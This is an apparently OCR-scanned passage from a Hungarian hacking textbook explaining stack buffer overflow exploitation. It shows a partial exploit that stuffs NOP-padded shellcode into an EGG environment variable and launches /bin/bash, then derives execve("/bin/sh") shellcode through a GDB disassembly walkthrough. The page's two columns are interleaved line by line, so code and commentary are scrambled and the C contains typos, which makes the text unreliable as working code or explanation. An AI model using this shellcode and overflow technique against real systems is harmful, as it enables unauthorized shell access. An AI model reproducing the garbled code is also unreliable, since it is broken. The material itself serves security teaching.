unsigned long get_sp(void) { for(i = 0; i < strlen(shellcode); i++)
asm("movl%esp,%eax"); *(ptr++) = shellcode[i];
} Beírjuk a shellkódokat a memóriába.
A „get_sp" változó feltöltése assembler-kóddal}
buff[bsize -1]= '\0';
mid main(int argc, dhar *argv[ ]) {
Most elhelyezzük az endbyte-ot.
char *buff, *ptr;
long *addr:ptr, addr; memcpy(buff;"EGG=",4);
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; putenv(buff);
int i; system("/bin/bash ");
A változókhoz értéket rendel }
if (argc > 1) bsize = atoi(argv[1]); Ez a kód még nincs kész, mert még nem ismerjük a shellkód helyét a
if (argc > 2) offset = atoi(argv[2]); memóriában. Ezért nagyon pontosan meg kell becsülni, hogy eltaláljuk a
if (!(buff=malloc(bsize))) { megfelelőt. Természetesen a támadók több NOP-kódot is beépítenek. Egy
printf("Can't allocate memory. \n"); valódi exploitnál ez többnyire több mint 100 - 1000 NOP kód, hogy nö-
exit(0); veljék a találat esélyeit.
}
11.2.3 Minek kell a Shellcode változónál állnia? 0x8000158: popl %ebp
0x8000159: ret
Most már mindenképpen segítségül kell hívni egy GDB-t! End of assembler dump.
(gdb) disassemble __execve
shellcode.c
Dump of assembler code for function __execve:
#include
0x80002bc <__execve>: pushl %ebp
void main( ) { 0x80002bd <__execve+l>: movl %esp, %ebp
char *name[2]; 0x80002bf <__execve+3>: pushl %ebx
name[0] = "/bin/sh"; 0x80002c0 <__execve+4>: movl $0xb,%eax
name[1] = NULL; 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
execve(name[0], name, NLL); 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
}
0x80002ce <__execve+18>: int $0x80
Hogy megnézzük, hogyan néz ki a forráskód assemblerben, elindítjuk, 0x80002d0 <__execve+20>: movl %eax,%edx
és GDB-vel elemezzük. Ehhez először a GCC-vel kell compilerelni a 0x80002d2 <__execve+22>: movl %edx,%edx
programot. A parancs így néz ki: 0x80002d4 <__execve+24>: jnl 0x80002e6 <_execve+42>
0x80002d6 <__execve+26>: negl %edx
gcc -o shellcode -ggdb -static shellcode.c
0x80002d8 <__execve+28>: pushl %edx
Most elindítjuk a GDB-t: 0x80002d9 <__execve+29>: call 0x80001a34<__normal_errno_location>
gdb shellcode 0x80002de <__execve+34>: popl %edx
A GDB ingyenes szoftver, és másolatot is lehet róla készíteni! 0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xfffffffc,%eax
(gdb) disassemble main 0x80002e6 <__execve+42>: popl %ebx
Dump of assembler code for function main: 0x80002e7 <__execve+43>: movl %ebp, %esp
0x8000130: pushl %ebp 0x80002e9 <__execve+45>: popl %ebp
0x8000131: movl %esp,%ebp 0x80002ea <__execve+46>: ret
0x8000133: subl $0x8,%esp 0x80002eb <__execve+47>: nop
0x8000136: movl $0x80027b8,0xfffffff(%ebp) End of assembler dump.
0x800013d: movl $0x0,0xfffffffc(%ebp)
0x8000144: pushl $0x0 Hogy ezt megértsük, először a „main"-t analizáljuk:
0x8000146 leal 0xfffffff8(%ebp),%eax 0x8000130: pushl %ebp
0x8000149: pushl %eax 0x8000131: movl %esp,%ebp
0x800014a: movl 0xfffffff8(%ebp),%eax 0x8000133: subl $0x8,%esp
0x800014d: pushl %eax
0x800014e: call 0x8002bc <__execve> Ez volt az eljárás kezdete. A régi frame-pointert mentjük, és egy új
0x8000153: addl $0xc,%esp frame-pointert állítunk elő, amely szabad helyet készít a helyi változóknak.
0x8000156: movl %ebp,%esp Ebben az esetben:
char *name[2]; Az eljárás kezdete
0x8000136: movl $0x80027b8,0xfffffff(%ebp) 0x80002c0 <__execve+4>: movl $0xb,%eax
A 0x80027b8 értéket (a ,/bin/sh" címe) bemásoljuk az első pointer of A 0xb-t a stackbe másoljuk. Ez az index a syscall-táblában. 11 az execve.
name[ ] -be. Ez ugyanazt jelenti mint:
name[0]="/bin/sh"; 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x800013d: movl $0x0,0xfffffffc(%ebp) A "/bin/sh" címét bemásoljuk az EBX-be.
A 0x0 (NULL) értéket a második pointer of name[ ] -be másoljuk. Ez 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
ugyanazt jelenti mint: A name [ ] címét bemásoljuk az ECX-be.
name[1] = NULL;
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
Az execve( ) meghívása itt kezdődik.
A Null pointer címét az EDX-be másoljuk.
0x8000144: pushl $0x0
0x80002ce <__execve+18>: int $0x80
Az execve( ) argumentumait fordított sorrendben helyezzük (push) a
Kernel módra váltunk.
stackbe. NULL-ával kezdünk.
Tulajdonképpen ez minden az execve( ) meghívásáról. De mi történik,
0x8000146: leal 0xfffffff8(%ebp),%eax ha félresikerül?
Betöltjük a name[ ] címét az EAX regiszterbe. A program végeérhetetlenül tovább hozná az értékeket a stackből, ame-
lyek azután más értékeket tartalmazhatnának. Nem valami finom dolog. A
0x8000149: pushl %eax támadó egy ilyen programot természetesen megpróbál tisztán programoz-
Beírjuk a name[ ] címét a stackbe. ni. Ezt úgy tudja elérni, hogy hozzáfűz egy exit syscall-t: